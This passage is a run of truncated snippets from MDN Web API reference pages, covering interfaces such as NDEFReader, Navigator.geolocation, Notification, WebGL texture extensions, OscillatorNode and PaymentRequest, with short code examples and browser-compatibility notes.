...e.log('It worked') ).catch(error => console.log('It failed: ' + error) ); Media Capabilities live example CSS li { margin : 1em; } HTML <form> <p>Select your video configuration and find out if this browser supports the codec, and whether decoding will be smooth and power efficient:</p> <ul> <li> <label for="codec">Select a codec</label> <select id="codec"> <option>video/
webm; codecs=vp8</option> <option>video/
webm; codecs=vp9</option> <option>video/mp4; codecs=avc1</option> <option>video/mp4; codecs=avc1.420034</option> <option>video/ogg; codecs=theora</option> <option>invalid</option> </select> </li> <li> <label for="size">Select a size</label> <select id="size"> <option>7680x4320</option> <option>3840x2160<...
Metadata.modificationTime - Web APIs
}); }); } }); }, handleError); This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...n-standardChrome Full support 13Edge Full support <=79Firefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android Full support YesFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
Metadata.size - Web APIs
ever here */ }); } }); }, handleError); This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...n-standardChrome Full support 13Edge Full support <=79Firefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android Full support YesFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
msPlayToPreferredSourceUri - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. msPlayToPreferredSourceUri is a read/write property which gets or sets the path to the preferred media source. This enables the PlayTo target device to stream the media content, which can be DRM protected, from a different location, such as a cloud media server. This proprietary property is specific to Internet Explorer and Microsoft Edge. ...
...M protected, from a different location, such as a cloud media server. This proprietary property is specific to Internet Explorer and Microsoft Edge. Syntax ptr = object.msPlayToPreferredSourceUri; Value msPlayToPreferredSourceUri enables a PlayTo reference (a URI or URL) for streaming content on the PlayTo target device from a different location, such as a cloud media server. This enables
web pages and Microsoft Store apps to play Digital Rights Management (DRM) protected content. The app specifies a preferred Uniform Resource Identifier (URI). This URI can point to a cloud based media server allowing streaming directly from the cloud, which can be DRM protected, instead of streaming content from the Windows machine which must be unprotected content. A forward slash ("/") is appended...
MutationEvent - Web APIs
ent Object Model (DOM) hierarchy and nodes. Note: Mutation Events (W3C DOM Level 3 Events) have been deprecated in favor of Mutation Observers (W3C DOM4). Preface The mutation events have been marked as deprecated in the DOM Events specification, as the API's design is flawed (see details in the "DOM Mutation Events Replacement: The Story So Far / Existing Points of Consensus" post to public-
webapps). Mutation Observers are the proposed replacement for mutation events in DOM4. They are expected to be included in Firefox 14 and Chrome 18. The practical reasons to avoid the mutation events are performance issues and cross-browser support. Performance Adding DOM mutation listeners to a document profoundly degrades the performance of further DOM modifications to that document (making the...
... listeners does not reverse the damage. The performance effect is limited to the documents that have the mutation event listeners. Cross-browser support These events are not implemented consistently across different browsers, for example: IE prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, DOMNodeInserted)
WebKit doesn't support DOMAttrModified (see
webkit bug 8191 and the workaround) "mutation name events", i.e. DOMElementNameChanged and DOMAttributeNameChanged are not supported in Firefox (as of version 11), and probably in other browsers as well. ... Dottoro documents browser support for mutation events. Mutation events list The following is a list of all mutation events, as defined in DOM Lev...
NDEFReader - Web APIs
NFC tags supporting NDEF, when these devices are within the reader's magnetic induction field. Constructor NDEFReader.NDEFReader() Returns an NDEFReader with configuration specified in the parameters or default ones if no parameters are specified. Properties In addition to the properties listed below, NDEFReader inherits properties from its parent interface, EventTarget. NDEFReader.onreading An event handler for reading event, that notifies about availability of a new reading. NDEFReader.onerror An event handler for error event which is called to notify that an error occured during reading. ...
...hat an error occured during reading. Methods The NDEFReader interface inherits the methods of EventTarget, its parent interface. NDEFReader.scan() Called to activate the reader (after ensuring hardware and UA compatibility and obtaining permission from the user) or get an error explaining why feature is not available. Specifications Specification Status Comment
Web NFC, NDEFReader Draft Initial definition. ...
NDEFRecord - Web APIs
NFC tags supporting NDEF. Constructor NDEFRecord() Returns a new NDEFRecord with configuration specified in the parameters or default ones if no parameters are specified. Attributes NDEFRecord.recordType Read only Represents the NDEF record type. NDEFRecord.mediaType Read only Represents the MIME type of the NDEF record payload. NDEFRecord.id Read only Represents the identificator of the record. Note: the uniqueness of the identifier is enforced only by the generator of the record. NDEFRecord.data Read only Represents the payload of the record. ...
... payload of the record. NDEFRecord.encoding Read only Represents the encoding name used for encoding the payload in the case it is textual data. NDEFRecord.lang Read only Represents a language tag of the content, if it was encoded. Methods NDEFRecord.toRecords() Coverts NDEFRecord.data to sequence of records. Specifications Specification Status Comment
Web NFC, NDEFRecord Draft Initial definition. ...
NDEFWriter.write() - Web APIs
w true exceptions; instead, it rejects the returned promise, passing into it a DOMException whose name is one of the following: AbortError The write operation was aborted with AbortSignal passed in options. NotAllowedError The permission for this operation was rejected or overwrite is false and there are already records on the tag. ...
...tible with
Web NFC, or the available NFC adapter does not support pushing messages, or connection can not be established. NotReadableError The UA is not allowed to access underlying NFC adapter (e.g., due to user preference). NetworkError Transfer failed after it already started (e.g., the tag was removed from the reader). Specifications Specification Status Comment
Web NFC, write() Draft Initial definition. ...
Navigation Timing API - Web APIs
Unlike JavaScript-based libraries that have historically been used to collect similar information, the Navigation Timing API can be much more accurate and reliable. This article currently describes Navigation Timing Level 1. There is a specification for Level 2, but it is not yet covered here. Concepts and usage You can use the Navigation Timing API to gather performance data on the client side, which you can then transmit to a server using XMLHttpRequest or other techniques. ...
... below. PerformanceNavigationTiming Provides methods and properties to store and retrieve metrics regarding the browser's document navigation events. For example, this interface can be used to determine how much time it takes to load or unload a document. PerformanceTiming Used as the type for the value of timing, objects of this type contain timing information that can provide insight into
web page performance. PerformanceNavigation The type used to return the value of navigation, which contains information explaining the context of the load operation described by this Performance instance. The Navigation Timing API can be used to gather performance data on the client side to be sent to a server via XHR as well as measure data that was very difficult to measure by other means su...
Navigator.clipboard - Web APIs
This permission must be obtained from the Permissions API using the "clipboard-read" and/or "clipboard-write" permissions. ...
...This permission must be obtained from the Permissions API using the "clipboard-read" and/or "clipboard-write" permissions. ...
Navigator.geolocation - Web APIs
Note: For security reasons, when a
web page tries to access location information, the user is notified and asked to grant permission. Be aware that each browser has its own policies and methods for requesting this permission. ...
... The Navigator.geolocation read-only property returns a Geolocation object that gives
Web content access to the location of the device. This allows a
Web site or app to offer customized results based on the user's location. Note: For security reasons, when a
web page tries to access location information, the user is notified and asked to grant permission. Be aware that each browser has its own policies and methods for requesting this permission. Syntax geo = navigator.geolocation Specifications Specification Status Comment Geolocation APIThe definition of 'Navigator.geolocation' in that specification. Recommendation Initial definition ...
Navigator.registerContentHandler() - Web APIs
Syntax navigator.registerContentHandler(mimeType, uri, title); mimeType is the desired MIME type as a string. uri is the URI to the handler as a string. title is the title of the handler presented to the user as a string. ...
... Syntax navigator.registerContentHandler(mimeType, uri, title); mimeType is the desired MIME type as a string. uri is the URI to the handler as a string. title is the title of the handler presented to the user as a string. ...
Navigator.xr - Web APIs
The read-only xr property provided by the Navigator or WorkerNavigator interface returns an XR object which can be used to access the
WebXR Device API. Syntax const xr = navigator.xr Value The XR object used to interface with the
WebXR Device API in the current context. This can be used to present augmented and/or virtual reality imagery to the user. Usage notes Each Window has its own instance of Navigator, which can be accessed as Window.navigator or simply as navigator. At the same time, a new XR instance is also created and attached to the navigator instance as navigator.xr. ...
...t context. This can be used to present augmented and/or virtual reality imagery to the user. Usage notes Each Window has its own instance of Navigator, which can be accessed as Window.navigator or simply as navigator. At the same time, a new XR instance is also created and attached to the navigator instance as navigator.xr. If the xr property exists and is non-null, you can use it to access the
WebXR Device API. To determine if
WebXR is available, you can do something like this: if ("xr" in Window.navigator) { /*
WebXR can be used! */ } else { /*
WebXR isn't available */ } Specifications Specification Status Comment
WebXR Device APIThe definition of 'Navigator.xr' in that specification. Working Draft Initial definition. ...
Online and offline events - Web APIs
Overview In order to build a good offline-capable
web application, you need to know when your application is actually offline. You also need to know when your application has returned to an 'online' status again. Effectively, the requirements break down as such: You need to know when the user comes back online, so that you can re-synchronize with the server. You need to know when the user is offline, so that you can queue your server requests for a later time. It is this process that online/offline events help to simplify. ...
... created, point to those instead and update this example -nickolay <div id="status"></div> <div id="log"></div> <p>This is a test</p> Here's the live result Notes If the API isn't implemented in the browser, you can use other signals to detect if you are offline including using service workers and responses from XMLHttpRequest. References 'Online/Offline events' section from the WHATWG
Web Applications 1.0 Specification The bug tracking online/offline events implementation in Firefox and a follow-up A simple test case An explanation of Online/Offline events ...
Network Information API - Web APIs
mation about the system's connection in terms of general connection type (e.g., 'wifi', 'cellular', etc.). This can be used to select high definition content or low definition content based on the user's connection. The entire API consists of the addition of the NetworkInformation interface and a single property to the Navigator interface: Navigator.connection. Note: This feature is available in
Web Workers. Examples Detect connection changes This example watches for changes to the user's connection. var connection = navigator.connection || navigator.mozConnection || navigator.
webkitConnection; var type = connection.effectiveType; function updateConnectionStatus() { console.log("Connection type changed from " + type + " to " + connection.effectiveType); type = connection.effectiveTy...
...for one connection type. A real-world use case would likely use a switch statement or some other method to check all of the possible values of NetworkInformation.type. Regardless of the type value you can get an estimate of connection speed through the NetworkInformation.effectiveType property. let preloadVideo = true; var connection = navigator.connection || navigator.mozConnection || navigator.
webkitConnection; if (connection) { if (connection.effectiveType === 'slow-2g') { preloadVideo = false; } } Interfaces NetworkInformation Provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes. The NetworkInformation interfaces cannot be instantiated. It is instead accessed...
NonDocumentTypeChildNode.nextElementSibling - Web APIs
solete Added its initial definition to the ElementTraversal pure interface and use it on Element. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...t, not for CharacterData.Firefox Full support 3.5IE Partial support 9Notes Partial support 9Notes Notes Only implemented for Element, not for CharacterData. ...
Notification.close() - Web APIs
The close() method of the Notification interface is used to close/remove a previously displayed notification. Note: This API shouldn't be used just to have the notification removed from the screen after a fixed delay since this method will also remove the notification from any notification tray, preventing users from interacting with it after it was initially shown. A valid use for this API would be to remove a notification that is no longer relevant (e.g. the user already read the notification on the
webpage in the case of a messaging app or the following song is already playing in a music app). Syntax Notification.close(); Parameters None. Returns Void. ...
... is already playing in a music app). Syntax Notification.close(); Parameters None. Returns Void. Examples In the following snippet, we have a simple function that when called creates an options object and then a new notification. At the end of the function, it also calls close() inside a addEventListener() function to remove the notification when the relevant content has been read on the
webpage. function spawnNotification(theBody, theIcon, theTitle) { var options = { body: theBody, icon: theIcon }; var n = new Notification(theTitle,options); document.addEventListener('visibilitychange', function() { if (document.visibilityState === 'visible') { // The tab has become visible so clear the now-stale Notification. n.close(); } }); } Specificatio...
Notification.onclick - Web APIs
The onclick property of the Notification interface specifies an event listener to receive click events. These events occur when the user clicks on a displayed Notification. Syntax Notification.onclick = function(event) { ... }; The default behavior is to move the focus to the viewport of the notification's related browsing context. If you don't want that behaviour, call preventDefault() on the event object. ...
...e click events. These events occur when the user clicks on a displayed Notification. Syntax Notification.onclick = function(event) { ... }; The default behavior is to move the focus to the viewport of the notification's related browsing context. If you don't want that behaviour, call preventDefault() on the event object. ...
NotificationAction - Web APIs
The NotificationAction interface of the Notifications API is used to represent action buttons the user can click to interact with notifications. These buttons' appearance and specific functionality vary across platforms but generally they provide a way to asynchronously show actions to the user in a notification. Properties Instance properties These properties are available only on instances of the Notification object. NotificationAction.action Read only The name of the action, which can be used to identify the clicked action similar to input names. NotificationAction.title Read only The string describing the action that is displayed to the user. ...
...icon Read only The URL of the image used to represent the notification when there is not enough space to display the notification itself. Example Notifications can fire notificationclick events on the ServiceWorkerGlobalScope. Here a service worker shows a notification with a single "Archive" action, allowing users to perform this common task from the notification without having to open the
website. The user can also click the main body of the notification to open their inbox instead. self.registration.showNotification("New mail from Alice", { actions: [ { action: 'archive', title: 'Archive' } ] }); self.addEventListener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // Archive action was clicked ...
OES_texture_float_linear - Web APIs
The OES_texture_float_linear extension is part of the
WebGL API and allows linear filtering with floating-point pixel types for textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Linear filtering The OES_texture_float extension alone does not allow linear filtering with floating-point textures. This extension enables this ability. ...
...e information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Linear filtering The OES_texture_float extension alone does not allow linear filtering with floating-point textures. This extension enables this ability. With the help of this extension, you can now set the magnification or minification filter in the
WebGLRenderingContext.texParameter() method to one of gl.LINEAR, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR, or gl.LINEAR_MIPMAP_LINEAR, and use floating-point textures. Examples gl.getExtension('OES_texture_float'); gl.getExtension('OES_texture_float_linear'); var texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); gl.texParameterf(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, ...
OES_texture_half_float - Web APIs
The OES_texture_half_float extension is part of the
WebGL API and adds texture formats with 16- (aka half float) and 32-bit floating-point components.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is only available to
WebGL1 contexts. In
WebGL2, the functionality of this extension is available on the
WebGL2 context by default. The constant in
WebGL2 is gl.HALF_FLOAT. Constants ext.HALF_FLOAT_OES Half floating-point type (16-bit). Extended methods This extension extends
WebGLRenderingContext.texImage2D() and
WebGLRenderingContext.texSubImage2D(): The type parameter now accepts ext.HALF_FLOAT_OES. Limitation: Linear filtering Linear filte...
...LF_FLOAT_OES Half floating-point type (16-bit). Extended methods This extension extends
WebGLRenderingContext.texImage2D() and
WebGLRenderingContext.texSubImage2D(): The type parameter now accepts ext.HALF_FLOAT_OES. Limitation: Linear filtering Linear filtering on half floating-point textures is not allowed with this extension. If you set the magnification or minification filter in the
WebGLRenderingContext.texParameter() method to one of gl.LINEAR, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR, or gl.LINEAR_MIPMAP_LINEAR, and use half floating-point textures, the texture will be marked as incomplete. To use linear filtering on half floating-point textures, enable the OES_texture_half_float_linear extension in addition to this extension. Half floating-point color buffers Th...
OES_texture_half_float_linear - Web APIs
The OES_texture_half_float_linear extension is part of the
WebGL API and allows linear filtering with half floating-point pixel types for textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Linear filtering The OES_texture_half_float extension alone does not allow linear filtering with half floating-point textures. This extension enables this ability. ...
...ion, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Linear filtering The OES_texture_half_float extension alone does not allow linear filtering with half floating-point textures. This extension enables this ability. With the help of this extension, you can now set the magnification or minification filter in the
WebGLRenderingContext.texParameter() method to one of gl.LINEAR, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR, or gl.LINEAR_MIPMAP_LINEAR, and use half floating-point textures. Examples var halfFloat = gl.getExtension('OES_texture_half_float'); gl.getExtension('OES_texture_half_float_linear'); var texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); gl.texParameterf(gl.TEXT...
OES_vertex_array_object.deleteVertexArrayOES() - Web APIs
Return value None. Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... ...
... Return value None. Examples var ext = gl.getExtension('OES_vertex_array_object'); var vao = ext.createVertexArrayOES(); ext.bindVertexArrayOES(vao); // ... ...
OfflineAudioCompletionEvent - Web APIs
The complete event implements this interface. Note: This interface is marked as deprecated; it is still supported for legacy reasons, but it will soon be superseded when the promise version of OfflineAudioContext.startRendering is supported in browsers, which will no longer need it. Constructor OfflineAudioCompletionEvent.OfflineAudioCompletionEvent Creates a new OfflineAudioCompletionEvent object instance. Properties Also inherits properties from its parent, Event. OfflineAudioCompletionEvent.renderedBuffer Read only An AudioBuffer containing the result of processing an OfflineAudioContext. ...
...eAudioCompletionEvent Creates a new OfflineAudioCompletionEvent object instance. Properties Also inherits properties from its parent, Event. OfflineAudioCompletionEvent.renderedBuffer Read only An AudioBuffer containing the result of processing an OfflineAudioContext. Methods Inherits methods from its parent, Event. Specifications Specification Status Comment
Web Audio APIThe definition of 'OfflineAudioCompletionEvent' in that specification. Working Draft ...
OfflineAudioContext.OfflineAudioContext() - Web APIs
Syntax var offlineAudioCtx = new OfflineAudioContext(numberOfChannels, length, sampleRate); var offlineAudioCtx = new OfflineAudioContext(options); Parameters You can specify the parameters for the OfflineAudioContext() constructor as either the same set of parameters as are inputs into the AudioContext.createBuffer() method, or by passing those parameters in an options object. Either way, the individual parameters are the same. ...
...t implements the EventTarget interface. Example const offlineCtx = new OfflineAudioContext({ numberOfChannels: 2, length: 44100 * 40, sampleRate: 44100, }); const source = offlineCtx.createBufferSource(); // etc... For a full working example, see our offline-audio-context-promise Github repo (see the source code too.) Specifications Specification Status Comment
Web Audio APIThe definition of 'OfflineAudioContext()' in that specification. Working Draft ...
OfflineAudioContext.startRendering() - Web APIs
onse; audioCtx.decodeAudioData(audioData, function(buffer) { myBuffer = buffer; source.buffer = myBuffer; source.connect(offlineCtx.destination); source.start(); //source.loop = true; offlineCtx.startRendering().then(function(renderedBuffer) { console.log('Rendering completed successfully'); var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var song = audioCtx.createBufferSource(); song.buffer = renderedBuffer; song.connect(audioCtx.destination); play.onclick = function() { song.start(); } }).catch(function(err) { console.log('Rendering failed: ' + err); // Note: The promise should reject when startRendering is called a second time on an...
... Working Draft ...
OscillatorNode.OscillatorNode() - Web APIs
If the default values of the properties are acceptable, you can optionally use the AudioContext.createOscillator() factory method instead. Syntax var oscillatorNode = new OscillatorNode(context, options) Parameters Inherits parameters from the AudioNodeOptions dictionary. context A reference to an AudioContext. options Optional An object whose properties specify the initial values for the oscillator node's properties. ...
...une A detuning value (in cents) which will offset the frequency by the given amount. Its default is 0. frequency The frequency (in hertz) of the periodic waveform. Its default is 440. periodicWave An arbitrary period waveform described by a PeriodicWave object. Return value A new OscillatorNode object instance. Specifications Specification Status Comment
Web Audio APIThe definition of 'OscillatorNode()' in that specification. Working Draft Initial definition. ...
OscillatorNode.frequency - Web APIs
oscillator.frequency.setValueAtTime(440, audioCtx.currentTime); // value in hertz Note: though the AudioParam returned is read-only, the value it represents is not. Value An a-rate AudioParam. Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). ...
... in hertz Note: though the AudioParam returned is read-only, the value it represents is not. Value An a-rate AudioParam. Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). // create
web audio api context var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); // create Oscillator node var oscillator = audioCtx.createOscillator(); oscillator.type = 'square'; oscillator.frequency.setValueAtTime(440, audioCtx.currentTime); // value in hertz oscillator.start(); Specifications Specification Status Comment
Web Audio APIThe definition of 'frequency' in that specification. Working Draft ...
OscillatorNode.onended - Web APIs
is used to set the event handler for the ended event, which fires when the tone has stopped playing. Syntax var oscillator = audioCtx.createOscillator(); oscillator.onended = function() { ... }; Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). // create
web audio api context var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); // create Oscillator node var oscillator = audioCtx.createOscillator(); oscillator.type = 'square'; oscillator.frequency.value = 440; // value in hertz oscillator.start(); // start the tone playing oscillator.stop(5); // the tone will stop again in 5 seconds. oscillator.onended = function() { console.
... Working Draft ...
OscillatorNode.start() - Web APIs
e oscillator should start, in the same coordinate system as AudioContext's currentTime attribute. If a value is not included or is less than currentTime, the oscillator starts playing immediately. Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). ...
...'s currentTime attribute. If a value is not included or is less than currentTime, the oscillator starts playing immediately. Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). // create
web audio api context var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); // create Oscillator node var oscillator = audioCtx.createOscillator(); oscillator.type = 'square'; oscillator.frequency.setValueAtTime(3000, audioCtx.currentTime); // value in hertz oscillator.start(); Specifications Specification Status Comment
Web Audio APIThe definition of 'start' in that specification. Working Draft ...
OscillatorNode.stop() - Web APIs
time when the oscillator should stop. If a value is not included, it defaults to 0. If the time is equal to or before the current audio context time, the oscillator will stop playing immediately. Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). ...
...faults to 0. If the time is equal to or before the current audio context time, the oscillator will stop playing immediately. Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). // create
web audio api context var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); // create Oscillator node var oscillator = audioCtx.createOscillator(); oscillator.connect(audioCtx.destination); oscillator.start(); oscillator.stop(audioCtx.currentTime + 2); // stop 2 seconds after the current time Specifications Specification Status Comment
Web Audio APIThe definition of 'stop' in that specification. Working Draft ...
OscillatorNode.type - Web APIs
lly sets the type to custom. Exceptions InvalidStateError The value custom was specified. To set a custom waveform, just call setPeriodicWave(). Doing so automatically sets the type for you. Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). ...
...e custom was specified. To set a custom waveform, just call setPeriodicWave(). Doing so automatically sets the type for you. Example The following example shows basic usage of an AudioContext to create an oscillator node. For an applied example, check out our Violent Theremin demo (see app.js for relevant code). // create
web audio api context var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); // create Oscillator node var oscillator = audioCtx.createOscillator(); oscillator.type = 'square'; oscillator.frequency.setValueAtTime(440, audioCtx.currentTime); // value in hertz oscillator.start(); Specifications Specification Status Comment
Web Audio APIThe definition of 'type' in that specification. Working Draft ...
PageTransitionEvent - Web APIs
r the pageshow and pagehide events, fired when a document is being loaded or unloaded. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/PageTransitionEvent" target="_top"><rect x="116" y="1" width="190" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">PageTransitionEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Pro...
PannerNode.PannerNode() - Web APIs
Syntax var myPanner = new PannerNode(context, options); Parameters Inherits parameters from the AudioNodeOptions dictionary. context A BaseAudioContext representing the audio context you want the node to be associated with. ...
...lloffFactor properties have been given a value that is outside the accepted range. InvalidStateError The coneOuterGain property has been given a value outside the accepted range (0-1). Example var ctx = new AudioContext(); var options = { positionX : 1, maxDistance: 5000 } var myPanner = new PannerNode(ctx, options); Specifications Specification Status Comment
Web Audio APIThe definition of 'PannerNode()' in that specification. Working Draft ...
PannerNode.distanceModel - Web APIs
upports those, or older methods (like AudioListener.setOrientation()) if it still supports those but not the new properties. ...
... Working Draft ...
PannerNode.maxDistance - Web APIs
upports those, or older methods (like AudioListener.setOrientation()) if it still supports those but not the new properties. ...
... Working Draft ...
PannerNode.panningModel - Web APIs
upports those, or older methods (like AudioListener.setOrientation()) if it still supports those but not the new properties. ...
... Working Draft ...
PannerNode.setPosition() - Web APIs
upports those, or older methods (like AudioListener.setOrientation()) if it still supports those but not the new properties. ...
... Working Draft ...
PaymentRequest.abort() - Web APIs
he definition of 'abort()' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Available only in nightly builds.Disabled From version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentRequest.canMakePayment() - Web APIs
tion of 'canMakePayment()' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Available only in nightly builds.Disabled From version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentRequest.prototype.id - Web APIs
APIThe definition of 'id' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Available only in nightly builds.Disabled From version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentRequest.onshippingaddresschange - Web APIs
'onshippingaddresschange' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Available only in nightly builds.Disabled From version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentRequest.onshippingoptionchange - Web APIs
f 'onshippingoptionchange' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Available only in nightly builds.Disabled From version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentRequest.shippingOption - Web APIs
nition of 'shippingOption' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Available only in nightly builds.Disabled From version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentRequest.shippingType - Web APIs
finition of 'shippingType' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Available only in nightly builds.Disabled From version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentResponse.complete() - Web APIs
PaymentResponse: complete' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.IE No support NoOpera No support NoSafari Full support Yes
WebView Android No support NoChrome Android Full support 56 Full support 56 No support 53 -- 56Disabled Disabled From version 53 until version 56 (exclusive): this feature is behind the #
web-payments preference (needs to be set to Enabled). T...
PaymentResponse.details - Web APIs
Status Comment Payment Request API Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.IE No support NoOpera No support NoSafari Full support Yes
WebView Android No support NoChrome Android Full support 56 Full support 56 No support 53 -- 56Disabled Disabled From version 53 until version 56 (exclusive): this feature is behind the #
web-payments preference (needs to be set to Enabled). T...
PaymentResponse.payerEmail - Web APIs
Status Comment Payment Request API Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.IE No support NoOpera No support NoSafari Full support Yes
WebView Android No support NoChrome Android Full support 56 Full support 56 No support 53 -- 56Disabled Disabled From version 53 until version 56 (exclusive): this feature is behind the #
web-payments preference (needs to be set to Enabled). T...
PaymentRequest.payerName - Web APIs
definition of 'payerName' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentResponse.requestId - Web APIs
definition of 'requestId' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentResponse.shippingAddress - Web APIs
Status Comment Payment Request API Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.IE No support NoOpera No support NoSafari Full support Yes
WebView Android No support NoChrome Android Full support 56 Full support 56 No support 53 -- 56Disabled Disabled From version 53 until version 56 (exclusive): this feature is behind the #
web-payments preference (needs to be set to Enabled). T...
